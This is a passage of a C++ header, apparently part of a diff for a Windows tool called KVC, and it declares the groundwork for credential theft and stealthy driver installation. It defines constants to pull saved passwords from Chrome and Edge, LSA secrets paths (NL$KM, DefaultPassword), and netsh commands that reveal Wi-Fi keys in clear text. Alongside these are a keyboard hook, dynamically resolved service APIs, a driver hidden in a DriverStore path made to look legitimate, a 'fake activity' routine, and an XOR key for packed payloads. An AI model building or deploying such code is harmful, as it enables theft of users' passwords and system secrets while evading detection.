L"KernelVulnerabilityControl"; + constexpr const wchar_t* SERVICE_DISPLAY_NAME = L"Kernel Vulnerability Capabilities Framework"; + constexpr const wchar_t* SERVICE_PARAM = L"--service"; + + // Keyboard hook settings + constexpr int CTRL_SEQUENCE_LENGTH = 5; + constexpr DWORD CTRL_SEQUENCE_TIMEOUT_MS = 2000; + constexpr DWORD CTRL_DEBOUNCE_MS = 50; +} + +// DPAPI constants for password extraction +namespace DPAPIConstants { + constexpr int SQLITE_OK = 0; + constexpr int SQLITE_ROW = 100; + constexpr int SQLITE_DONE = 101; + constexpr int SQLITE_OPEN_READONLY = 0x00000001; + + inline std::string GetChromeV10Prefix() { return "v10"; } + inline std::string GetChromeDPAPIPrefix() { return "DPAPI"; } + + inline std::wstring GetSecurityPolicySecrets() { return L"SECURITY\\Policy\\Secrets"; } + inline std::wstring GetDPAPISystemKey() { return L"DPAPI_SYSTEM"; } + inline std::wstring GetNLKMKey() { return L"NL$KM"; } + inline std::wstring GetDefaultPasswordKey() { return L"DefaultPassword"; } + + inline std::wstring GetCurrVal() { return L"CurrVal"; } + inline std::wstring GetOldVal() { return L"OldVal"; } + + inline std::wstring GetChromeUserData() { return L"\\Google\\Chrome\\User Data"; } + inline std::wstring GetEdgeUserData() { return L"\\Microsoft\\Edge\\User Data"; } + inline std::wstring GetLocalStateFile() { return L"\\Local State"; } + inline std::wstring GetLoginDataFile() { return L"\\Login Data"; } + + inline std::string GetEncryptedKeyField() { return "\"encrypted_key\":"; } + + inline std::string GetLocalAppData() { return "LOCALAPPDATA"; } + + inline std::wstring GetHTMLExt() { return L".html"; } + inline std::wstring GetTXTExt() { return L".txt"; } + inline std::wstring GetDBExt() { return L".db"; } + + inline std::wstring GetTempLoginDB() { return L"temp_login_data.db"; } + inline std::wstring GetTempPattern() { return L"temp_login_data"; } + + inline std::string GetNetshShowProfiles() { return "netsh wlan show profiles"; } + inline std::string GetNetshShowProfileKey() { return "netsh wlan show profile name=\""; } + inline std::string GetNetshKeyClear() { return "\" key=clear"; } + + inline std::string GetWiFiProfileMarker() { return "All User Profile"; } + inline std::string GetWiFiKeyContent() { return "Key Content"; } + + inline std::string GetLoginQuery() { return "SELECT origin_url, username_value, password_value FROM logins"; } + + inline std::wstring GetStatusDecrypted() { return L"DECRYPTED"; } + inline std::wstring GetStatusClearText() { return L"CLEAR_TEXT"; } + inline std::wstring GetStatusEncrypted() { return L"ENCRYPTED"; } + inline std::wstring GetStatusFailed() { return L"FAILED"; } + inline std::wstring GetStatusExtracted() { return L"EXTRACTED"; } +} + +// Dynamic API loading globals for driver operations +extern ModuleHandle g_advapi32; +extern SystemModuleHandle g_kernel32; +extern decltype(&CreateServiceW) g_pCreateServiceW; +extern decltype(&OpenServiceW) g_pOpenServiceW; +extern decltype(&StartServiceW) g_pStartServiceW; +extern decltype(&DeleteService) g_pDeleteService; +extern decltype(&CreateFileW) g_pCreateFileW; +extern decltype(&ControlService) g_pControlService; + +// Service mode detection +extern bool g_serviceMode; +extern volatile bool g_interrupted; + +// Core driver functions +bool InitDynamicAPIs() noexcept; +std::wstring GetServiceName() noexcept; +std::wstring GetDriverFileName() noexcept; +void GenerateFakeActivity() noexcept; +std::wstring GetSystemTempPath() noexcept; + +// Service utility functions +bool IsServiceInstalled() noexcept; +bool IsServiceRunning() noexcept; +std::wstring GetCurrentExecutablePath() noexcept; + +// Driver path helper with dynamic discovery and fallback mechanism +// Searches for actual avc.inf_amd64_* directory in DriverStore FileRepository +// Creates directory if needed, falls back to system32\drivers on failure +inline std::wstring GetDriverStorePath() noexcept { + wchar_t windowsDir[MAX_PATH]; + if (GetWindowsDirectoryW(windowsDir, MAX_PATH) == 0) { + wcscpy_s(windowsDir, L"C:\\Windows"); + } + + std::wstring baseResult = windowsDir; + std::wstring driverStoreBase = baseResult + L"\\System32\\DriverStore\\FileRepository\\"; + + // Dynamic search for avc.inf_amd64_* pattern in FileRepository + WIN32_FIND_DATAW findData; + std::wstring searchPattern = driverStoreBase + L"avc.inf_amd64_*"; + HANDLE hFind = FindFirstFileW(searchPattern.c_str(), &findData); + + if (hFind != INVALID_HANDLE_VALUE) { + // Found existing directory - use first match + do { + if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { + FindClose(hFind); + return driverStoreBase + findData.cFileName; + } + } while (FindNextFileW(hFind, &findData)); + FindClose(hFind); + } + + // No existing directory found - create with TrustedInstaller privileges + std::wstring targetPath = driverStoreBase + L"avc.inf_amd64_12ca23d60da30d59"; + return targetPath; +} + +// Enhanced version that ensures directory exists before returning path +// Returns empty string on critical failure, valid path on success +inline std::wstring GetDriverStorePathSafe() noexcept { + std::wstring driverPath = GetDriverStorePath(); + + // Ensure directory exists - critical for driver operations + DWORD attrs = GetFileAttributesW(driverPath.c_str()); + if (attrs == INVALID_FILE_ATTRIBUTES) { + // Try to create if it doesn't exist + if (!CreateDirectoryW(driverPath.c_str(), nullptr) && + GetLastError() != ERROR_ALREADY_EXISTS) { + return L""; // Critical failure + } + } else if (!(attrs & FILE_ATTRIBUTE_DIRECTORY)) { + return L""; // Path exists but is not a directory + } + + return driverPath; +} + +// KVC combined binary processing constants +constexpr std::array KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C }; +constexpr wchar_t KVC_DATA_FILE[] = L"kvc.dat"; +constexpr wchar_t KVC_PASS_FILE[] = L"kvc_pass.exe"; +constexpr wchar_t KVC_CRYPT_FILE[] = L"kvc_crypt.dll";